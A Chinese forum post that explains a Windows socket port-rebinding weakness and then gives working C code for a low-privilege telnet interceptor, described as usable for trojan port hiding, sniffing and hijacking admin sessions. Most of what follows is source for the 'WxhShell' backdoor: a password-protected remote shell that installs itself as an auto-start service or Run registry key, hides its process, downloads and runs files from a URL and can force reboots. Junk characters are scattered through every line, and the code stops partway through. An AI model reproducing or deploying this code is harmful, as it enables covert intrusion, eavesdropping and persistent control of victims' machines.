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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: iF+S%aPd#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WY3_7k8u  
U0zW9jB  
  saddr.sin_family = AF_INET; UzN8G$92qF  
B\NcCp`5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @!,D%]8"  
-^y1iN'D  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); pO5v*oONz+  
l`oT:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 QM7[O]@  
A>[hC{  
  这意味着什么?意味着可以进行如下的攻击: @t "~   
Y9/{0TArG  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S]tkz*w0*  
&~42T}GTWG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I"~xDa!  
+0SW ?#%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 HI7]%<L  
6@i|Kw(:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  SG1&a:c+.  
rn[$x(G  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 55(J&q  
WNl&v]   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ae3,W  
Am]2@ESUP  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VoWA tNU  
G!-7ic_4  
  #include Hs.6;|0%  
  #include r=xTs,xx  
  #include ZKZl>dDuh  
  #include    Bi$ 0{V Z8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   HIQ]"Hl  
  int main() Q>##hG:m  
  { 5+J 64_  
  WORD wVersionRequested; SxnIX/]J  
  DWORD ret; #IH<HL)t%e  
  WSADATA wsaData; qZ `nZi  
  BOOL val; YLD-SS[/>  
  SOCKADDR_IN saddr; 6yy|V~5  
  SOCKADDR_IN scaddr; <=#lRZW[z  
  int err; )R8%wk?2  
  SOCKET s; A!Knp=Gw  
  SOCKET sc; TB ;3`  
  int caddsize; qr7 X-[&  
  HANDLE mt; >Iu]T{QNO  
  DWORD tid;   u4`mQ6  
  wVersionRequested = MAKEWORD( 2, 2 ); +R3\cRM  
  err = WSAStartup( wVersionRequested, &wsaData ); (rau8  
  if ( err != 0 ) { <W=~UUsn  
  printf("error!WSAStartup failed!\n"); K'a#Mg  
  return -1; 'Wo?%n  
  } ocb%&m ;i  
  saddr.sin_family = AF_INET; !hwzKm=%N  
   ^aGZJiyJ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 l{M;PaJ`}  
)Ix-5084  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @>qx:jx(-S  
  saddr.sin_port = htons(23); /5L'9e  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UIC\CP d  
  { +,ZU TG  
  printf("error!socket failed!\n"); H5 p}Le  
  return -1; y|&.v <  
  } BnKP7e  
  val = TRUE; ]}UeuF\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 u=_bM2;~Z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5bu[}mJ  
  { .5jnKU8NF  
  printf("error!setsockopt failed!\n"); 7.w *+Z>z  
  return -1; mf Wz@=0  
  } BXQ\A~P\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3I(dC|d  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t~+{Hr) #y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .Um?5wG~i  
se^NQ=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4?P%M"\Iv  
  { q\ \8b{~  
  ret=GetLastError(); tEpIyC  
  printf("error!bind failed!\n"); N'lGA;}i  
  return -1; N(:EK  
  } XwHu:v'=  
  listen(s,2); 7 K;'7  
  while(1) P3,Z5|)  
  { X~IRpzC  
  caddsize = sizeof(scaddr); t  z +  
  //接受连接请求 J_y<0zF**  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (`q6G d  
  if(sc!=INVALID_SOCKET) uMiD*6,$<  
  { $ uz1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +l[Z2mW  
  if(mt==NULL) i5L+8kx4  
  { _G-b L;  
  printf("Thread Creat Failed!\n"); kz$6}&uk  
  break; ?34EJ !  
  } vy2*BTU?  
  } ;*<{*6;=?  
  CloseHandle(mt); Nf/ hr%jL  
  } CA~em_dC  
  closesocket(s); 0x3 h8fs  
  WSACleanup(); h=i A;B^>  
  return 0; ,Do$`yO+  
  }   (7rz:  
  DWORD WINAPI ClientThread(LPVOID lpParam) o1p$9PL\:  
  { a6 #{2q  
  SOCKET ss = (SOCKET)lpParam; )$9C`d[  
  SOCKET sc; *tbpFk4/  
  unsigned char buf[4096]; N>cp>&jV  
  SOCKADDR_IN saddr; oneSgJ  
  long num; I;Z`!u:+  
  DWORD val; >~^mIu_BH  
  DWORD ret; 2heWE  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _Gs  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   c*M)DO`y;h  
  saddr.sin_family = AF_INET; s$DT.cvO  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K 8yyxJ  
  saddr.sin_port = htons(23); + aXk^+~j  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l7D4`i<F  
  { j"D0nG,  
  printf("error!socket failed!\n"); )"i>R ~*  
  return -1; NXWIE4T>*^  
  } QvK]<HEr  
  val = 100; DS[l,x  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )=,9`+Zta  
  { [X$|dOm'N  
  ret = GetLastError(); 0?&aV_:;X  
  return -1; a\[fC=]r:  
  } w7`@=kVx  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p)[ BB6E  
  { "$,}|T?Y`  
  ret = GetLastError(); NBbY## w0  
  return -1; @tjZvRtZ  
  } %xbz&'W,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &ls!IN  
  { =?I1V#.  
  printf("error!socket connect failed!\n"); Z|cTzunp  
  closesocket(sc); DoCQFSL  
  closesocket(ss); 3' :[i2[  
  return -1; go%X%Os]  
  } nkCRe  
  while(1) <'4!G"_EP  
  { *~t$k56  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (X`t"*y"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [pC-{~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p Yi=q  
  num = recv(ss,buf,4096,0); }HA2c e\  
  if(num>0) 43orR !.Z  
  send(sc,buf,num,0); aP6%OI  
  else if(num==0) gS(: c .  
  break; Lct+cKKU  
  num = recv(sc,buf,4096,0); fXXm@tMx>  
  if(num>0) Cn./Naq  
  send(ss,buf,num,0); YRM6\S)py  
  else if(num==0) g8iB;%6  
  break; /kviO@jm4(  
  } $Zu4tuXA  
  closesocket(ss); 7PQj7&m  
  closesocket(sc); R2H\;N  
  return 0 ; wHN` - 5%  
  } onJ[&f  
M'!!EQo  
hc p'+:  
========================================================== sVm'9k  
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下边附上一个代码,,WXhSHELL 1rm$@L  
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========================================================== ;ZqD60%\  
\<MTY:  
#include "stdafx.h" ][$$  =  
8`LLHX1|  
#include <stdio.h> !f]3Riw-=,  
#include <string.h> J\,e/{,X  
#include <windows.h> hoD[wAC  
#include <winsock2.h> 5-QvQ&eH.  
#include <winsvc.h> raI~BIfe  
#include <urlmon.h> uwS'*5tU  
FUTyx"   
#pragma comment (lib, "Ws2_32.lib") j"$b%|  
#pragma comment (lib, "urlmon.lib") ?[>BssW  
:#!F 7u  
#define MAX_USER   100 // 最大客户端连接数 $gD(MKR)~  
#define BUF_SOCK   200 // sock buffer ;Wrd=)Ka  
#define KEY_BUFF   255 // 输入 buffer s)&R W#:X  
8-g$HXqs_#  
#define REBOOT     0   // 重启 xzf)_ <  
#define SHUTDOWN   1   // 关机 ]I*#R9  
|sZ9 /G7  
#define DEF_PORT   5000 // 监听端口  q&Ua(I  
J`D<  
#define REG_LEN     16   // 注册表键长度 V:" \(Y  
#define SVC_LEN     80   // NT服务名长度 va*>q-QCr  
ea[a)Z7#  
// 从dll定义API pcxl2I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ()IgSj?,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #( Yb lY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W!9f'Yn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ABYW1K=  
N@`9 ~JS  
// wxhshell配置信息 wYxFjXm  
struct WSCFG { >8HRnCyp/  
  int ws_port;         // 监听端口 +w}%gps  
  char ws_passstr[REG_LEN]; // 口令 (S93 %ii  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z YO/'YW  
  char ws_regname[REG_LEN]; // 注册表键名 _q!ck0_  
  char ws_svcname[REG_LEN]; // 服务名 B(vz$QE,$r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %$-3fj7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HvfTC<+H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f*H}eu3/j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |c+N)F B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P6Z,ci17  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $/(/v?3][e  
E6IL,Iq9  
}; WAXrA$:3J  
21J82M  
// default Wxhshell configuration g='2~c  
struct WSCFG wscfg={DEF_PORT, Y?SJQhN6W  
    "xuhuanlingzhe", oTa+E'q  
    1, NZ? =pfK\s  
    "Wxhshell", RoXOGVo  
    "Wxhshell", ;0}"2aGY  
            "WxhShell Service", #S74C*'8  
    "Wrsky Windows CmdShell Service", Cr\/<zy1-e  
    "Please Input Your Password: ", O#Ax P}  
  1, ]$k m  
  "http://www.wrsky.com/wxhshell.exe", gG z_t,=  
  "Wxhshell.exe" M]:B: ;  
    }; sy#j+gZ   
i*rv_G|(Zj  
// 消息定义模块 +( 7vmC.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *} 4;1OVT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]tV{#iIJ*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; leqSS}KU+  
char *msg_ws_ext="\n\rExit."; HDG"a&$   
char *msg_ws_end="\n\rQuit."; FQ&VM6_  
char *msg_ws_boot="\n\rReboot..."; SxQDqoA~  
char *msg_ws_poff="\n\rShutdown..."; ;@\J scNJ|  
char *msg_ws_down="\n\rSave to "; x~,?Zj)n?C  
;7{wa]  
char *msg_ws_err="\n\rErr!"; .TU15AAc  
char *msg_ws_ok="\n\rOK!"; @?NLME  
NNV.x7  
char ExeFile[MAX_PATH]; 24k}~"We  
int nUser = 0; p+1B6j  
HANDLE handles[MAX_USER]; H0Xda.Y(  
int OsIsNt; pNme jz:  
E$fy*enON  
SERVICE_STATUS       serviceStatus; {.'g!{SHp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E*]L]vR  
:EAfD(D{)  
// 函数声明 BiAcjN:Z  
int Install(void); 3gXUfv2ID  
int Uninstall(void); #3jZ7RqzQ  
int DownloadFile(char *sURL, SOCKET wsh); HUX+d4sg  
int Boot(int flag); H zK=UcD  
void HideProc(void); [-}%B0S**  
int GetOsVer(void); e"09b<69  
int Wxhshell(SOCKET wsl); "[Lp-4A\  
void TalkWithClient(void *cs);  C3Z(k}  
int CmdShell(SOCKET sock); {-Oc8XI/  
int StartFromService(void); Eu_0n6J  
int StartWxhshell(LPSTR lpCmdLine); C/#/F#C  
4h@of'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g5]DA.&(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *\5H\s9<  
blS4AQ?b^  
// 数据结构和表定义 A}}t86T  
SERVICE_TABLE_ENTRY DispatchTable[] = O$ oN1  
{ M#IR=|P]  
{wscfg.ws_svcname, NTServiceMain}, ?AH<y/i<Y  
{NULL, NULL} Yhdt8[ 2  
}; $ O>MV  
k.hSN8  
// 自我安装 gKEvgXOj  
int Install(void) V3nv5/6  
{ ?["ZEa  
  char svExeFile[MAX_PATH]; Tdp$laPO'  
  HKEY key; Q 7?4GxMj  
  strcpy(svExeFile,ExeFile); 0;`PHNBq  
Fsdn2{g8U  
// 如果是win9x系统,修改注册表设为自启动 !T1i_  
if(!OsIsNt) { $ :P~21,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cA^7}}?e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XBBRB<l)  
  RegCloseKey(key); TMs\#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [r~l O@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4iPg_+  
  RegCloseKey(key); UY^f|f&  
  return 0; qTex\qP  
    } mQ)l`w Gh  
  } #@`^  .  
} aesFv)5DK  
else { 8BdeqgU/_  
kF7Al]IgT  
// 如果是NT以上系统,安装为系统服务 Yf9L~K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W12K93tO  
if (schSCManager!=0) >.A:6  
{ cZ,_O~  
  SC_HANDLE schService = CreateService z[Qv}pv  
  ( r#}%sof  
  schSCManager, mcracj[ B  
  wscfg.ws_svcname, Q?q m~wD  
  wscfg.ws_svcdisp, m]vr|:{6/  
  SERVICE_ALL_ACCESS, Sy~Mh]{E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IT"jtV  
  SERVICE_AUTO_START,  EZFWxR/  
  SERVICE_ERROR_NORMAL, YDL)F<Y  
  svExeFile, Gj?q+-d!(5  
  NULL, ]].21  
  NULL, l\GNd6)H  
  NULL, l{yPO@ut`F  
  NULL, [J#(k`@  
  NULL p*,mwKN:  
  ); z AIC5fvu  
  if (schService!=0) S^.=j oI  
  { :zoX Xo  
  CloseServiceHandle(schService); LdL\B0^l  
  CloseServiceHandle(schSCManager); mLqm83  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  O@$i  
  strcat(svExeFile,wscfg.ws_svcname); cke[SUH,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { woKdI)f $  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Sy55w={  
  RegCloseKey(key); :-8u*5QK]`  
  return 0; mUw,q;{  
    } L i^V?  
  } `VbG%y&I  
  CloseServiceHandle(schSCManager); c`Cn9bX  
} `z.#O\@o  
} ]QQ"7_+  
:'=C/AL  
return 1; %mJ)pMV  
} + u+fEg/A  
x(~l[hT  
// 自我卸载 G[ea@u$?  
int Uninstall(void) [8n4lE[)"  
{ UYUd IIoL  
  HKEY key; Gz:a1-x  
S7*:eo  
if(!OsIsNt) { 5 Da( DA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )*B.y|b #  
  RegDeleteValue(key,wscfg.ws_regname); r+crE %-  
  RegCloseKey(key); #wfR$Cd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Os;\\~e5  
  RegDeleteValue(key,wscfg.ws_regname); 3i1>EjML  
  RegCloseKey(key); C 0wq  
  return 0; x$*OglaS  
  } aMWNZv  
} P[~a'u  
} rjzRH  
else { *,u{~(thR  
r+2dBp3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }ls>~uN  
if (schSCManager!=0) .u&g2Y  
{ 5q[@N  J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N 2\,6<  
  if (schService!=0) 1^mO"nX  
  { ijfT!W  
  if(DeleteService(schService)!=0) { mvxvX!t  
  CloseServiceHandle(schService); I nk76-  
  CloseServiceHandle(schSCManager);  R !HL+  
  return 0; `7`iCYiTy  
  } 191)JWfa  
  CloseServiceHandle(schService); c3+vtP&  
  } j.sf FS  
  CloseServiceHandle(schSCManager); !xSGZ D=AD  
} n&^Rs )%v  
} ek<U2C_u#  
z!tHn#  
return 1; t<-Iiq+tL  
} $= gv  
@NZ?D0"  
// 从指定url下载文件 U.\kAEJ  
int DownloadFile(char *sURL, SOCKET wsh) VlH9ap  
{ MLl:)W*  
  HRESULT hr; pmZr<xs   
char seps[]= "/"; xfilxd  
char *token; \BA_PyS?W+  
char *file; (Y%}N(Jg  
char myURL[MAX_PATH]; EW)]75o{QF  
char myFILE[MAX_PATH]; LdcP0G\"VG  
,fbO}  
strcpy(myURL,sURL); xYbF76B  
  token=strtok(myURL,seps); HDYoM  
  while(token!=NULL) PeOgXg)L`z  
  { @U,cj>K  
    file=token; \VW.>@s~  
  token=strtok(NULL,seps); \%#jT GFs~  
  }  ^(y4]yZ  
U}NNb GQj  
GetCurrentDirectory(MAX_PATH,myFILE); >i '3\  
strcat(myFILE, "\\"); l\H9Io3  
strcat(myFILE, file); Z=ho7i  
  send(wsh,myFILE,strlen(myFILE),0); Z(#a-_ g  
send(wsh,"...",3,0); sy~mcH:%+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aX! J0&3  
  if(hr==S_OK) (q utgnW  
return 0; ),86Y:^4  
else Mw< 1  
return 1; CR<*<=rI  
5}f$O  
} 1K!7FiqY  
(5SI! 1N  
// 系统电源模块 % tpjy,  
int Boot(int flag)  (1ebE  
{ =6>mlI>i  
  HANDLE hToken; *ood3M[M^  
  TOKEN_PRIVILEGES tkp; vg<_U&N=-r  
qzq>C"z\Y$  
  if(OsIsNt) {  u >x2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R]dc(D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U7O2.y+  
    tkp.PrivilegeCount = 1; A\:M}D-(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LGK}oL'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xZ .:H&0G  
if(flag==REBOOT) { zk?lNs  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sD M!Uv2n  
  return 0; &iTsuA/7  
} "p<f#s}  
else { +K&ze:-Z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) = fm/l-P@  
  return 0; _uDtRoI8  
} @qeI4io-n  
  } !5pp A  
  else { cdk;HK_Ve.  
if(flag==REBOOT) { Q16RDQ*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lgU7jn  
  return 0; H}A67J9x  
} Oa{M9d,l  
else { ]^dXB 0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?(F~9 V  
  return 0; Ltc>@  
} o|*,<5t  
} ${ e{#  
? ;\YiOTda  
return 1; iidK}<o  
} =*t)@bn  
gq/q]Fm\  
// win9x进程隐藏模块 iYFM@ta  
void HideProc(void) VPK)HzPG,  
{ ee6Zm+.B  
jQc$>M<"o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S-My6'ar  
  if ( hKernel != NULL ) u)%J5TR.Y  
  { By%aTuV$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V_h, UYN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N"T+. r  
    FreeLibrary(hKernel); .DHPKz`W0  
  } ~zi&u46  
l]GLkE  
return; |ML|P\1&V  
} ktnsq&qNL  
1_ %3cN.  
// 获取操作系统版本 Rzw}W7zg[  
int GetOsVer(void) ~|riFp=J  
{ k |M  
  OSVERSIONINFO winfo; PE-Vx RN)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -GQ`n01  
  GetVersionEx(&winfo); Y'58.8hl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C&r&&Pw  
  return 1; p9fx~[_5/  
  else G$WMW@fy  
  return 0; VP5_Y1e7  
} (;\JCeGA  
!Vy/-N  
// 客户端句柄模块 7N 7W0Ky  
int Wxhshell(SOCKET wsl) L -<!,CASW  
{ ZxY%x/K  
  SOCKET wsh; Ee^2stc-  
  struct sockaddr_in client; XXvM*"3D5  
  DWORD myID; 1ih|b8)Dn  
7iT#dpF/A  
  while(nUser<MAX_USER) RWK|?FD\<  
{  9/`T]s"  
  int nSize=sizeof(client); W A-\2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'jqkDPn  
  if(wsh==INVALID_SOCKET) return 1; Xbe=_9l&p  
Sw%^&*J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !np-Jmi  
if(handles[nUser]==0) 5V]!xi  
  closesocket(wsh); sBt,y _LW  
else -6@#Nq_iWU  
  nUser++; \'x. DVp  
  } ;X*I,g.+H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :.J Ad$>P  
Gg8F>y<[R  
  return 0; l*^c?lp)  
} .liVlo@  
 YH@p\#Y  
// 关闭 socket <BEM`2B  
void CloseIt(SOCKET wsh) /{|JQ'gqX  
{ ZuH@qq\  
closesocket(wsh); 6C7|e00v  
nUser--; IZn|1X?}\s  
ExitThread(0); IN~Q(A]Z%  
} E:(DidSE@  
\W4|.[  
// 客户端请求句柄 @vs+)aRa  
void TalkWithClient(void *cs) xim'TVwvC  
{ plN:QS$  
lp+Uox  
  SOCKET wsh=(SOCKET)cs; }fU"s"  
  char pwd[SVC_LEN]; wF[%+n (*  
  char cmd[KEY_BUFF]; "V'<dn  
char chr[1]; gw O]U=Y  
int i,j; :"{("!x   
fAYp\ k  
  while (nUser < MAX_USER) { %m)vQ\Vtx  
}6b" JoC  
if(wscfg.ws_passstr) { j2^Vz{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yGj'0c::  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b v5BV  
  //ZeroMemory(pwd,KEY_BUFF); 4z6kFQgu  
      i=0; |q!O~<H@  
  while(i<SVC_LEN) { QN)EPS:y  
*QH~ z2:[  
  // 设置超时 ecvQEK2L  
  fd_set FdRead; ;iq H:wO  
  struct timeval TimeOut; {0?^$R8j  
  FD_ZERO(&FdRead); \3q Z0  
  FD_SET(wsh,&FdRead); a!guZUg6  
  TimeOut.tv_sec=8; jJbS{1z  
  TimeOut.tv_usec=0; &Zy%Zz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rJtpTV@.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s`#g<_{X  
(_IPz)F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o&-D[|E|  
  pwd=chr[0]; <!;NJLe`  
  if(chr[0]==0xd || chr[0]==0xa) { 7fE U5@  
  pwd=0; ;Vv.$mI  
  break; y8%QS*  
  } tK7v&[cI  
  i++; wjy<{I  
    } ]Ub"NLYV  
grVPu! B;  
  // 如果是非法用户,关闭 socket A9Kt^HR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BMi5F?Q'G  
} 5LaF'>1yY  
xlIVLv6dO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dj-/%MU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T\v~"pMu*0  
C :r3z50  
while(1) { ({$>o]<h  
9w!PA-) L  
  ZeroMemory(cmd,KEY_BUFF); zoibinm}Eg  
OjWg>v\ v  
      // 自动支持客户端 telnet标准   :6TLT-B  
  j=0; JO-FnoQK  
  while(j<KEY_BUFF) { @PzRHnT*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F81Kxcs  
  cmd[j]=chr[0]; U5:5$T,C  
  if(chr[0]==0xa || chr[0]==0xd) { U2G[uDa;  
  cmd[j]=0; 2=,O)g  
  break; F e1^9ja  
  } hm, H3pN  
  j++; <I 0EjV  
    } <g$bM;6%  
thLx!t  
  // 下载文件 z?<Xx?Kk  
  if(strstr(cmd,"http://")) { a! gj_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &0x;60b  
  if(DownloadFile(cmd,wsh)) ^UmhSxQ##  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qa#Em1co  
  else y/Ui6D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `g vd 8^  
  } 4D)M_O  
  else { IE:;`e:\D  
b?,''t  
    switch(cmd[0]) { JuDadIrd{  
  X"!tx  
  // 帮助 EG!Nsb^,  
  case '?': { "M}3T?0 O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yYH>~,  
    break; w!r.MWE  
  } !ZS5}/ZU  
  // 安装 L'HO"EZFj  
  case 'i': { \=c@  
    if(Install()) )0o|u>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XyYP!<].C  
    else K!a7Hg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {W'{A  
    break;  Il]p >B  
    } 4Q(w D  
  // 卸载 \*mKctpz]6  
  case 'r': { jO.c>C[?  
    if(Uninstall()) /_Fi4wZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /u~L3Cp(  
    else RDxvN:v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?$@E}t8g\  
    break; |Hv8GT  
    } ;"2(e7ir  
  // 显示 wxhshell 所在路径 =AP0{  
  case 'p': { R-6km Tex>  
    char svExeFile[MAX_PATH]; J9&#);(  
    strcpy(svExeFile,"\n\r"); vhrURY.  
      strcat(svExeFile,ExeFile); =>*9"k%m  
        send(wsh,svExeFile,strlen(svExeFile),0); \Icd>>)*  
    break; T5eJIc3a"  
    } ^S:I38gR#q  
  // 重启 QSx4M  
  case 'b': { U]Fnf?(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Va$JfWef  
    if(Boot(REBOOT)) s+9b.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Wb3M"#9<  
    else { YK V"bI  
    closesocket(wsh); (m() r0:@  
    ExitThread(0); >mMmc!u>G  
    } V 9;O1  
    break; +7Qj%x\  
    } XZ 4H(Cj  
  // 关机 ^. ~ F_  
  case 'd': { ,-V7~gM%}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Lpk`qJ  
    if(Boot(SHUTDOWN)) F~l:W QAj  
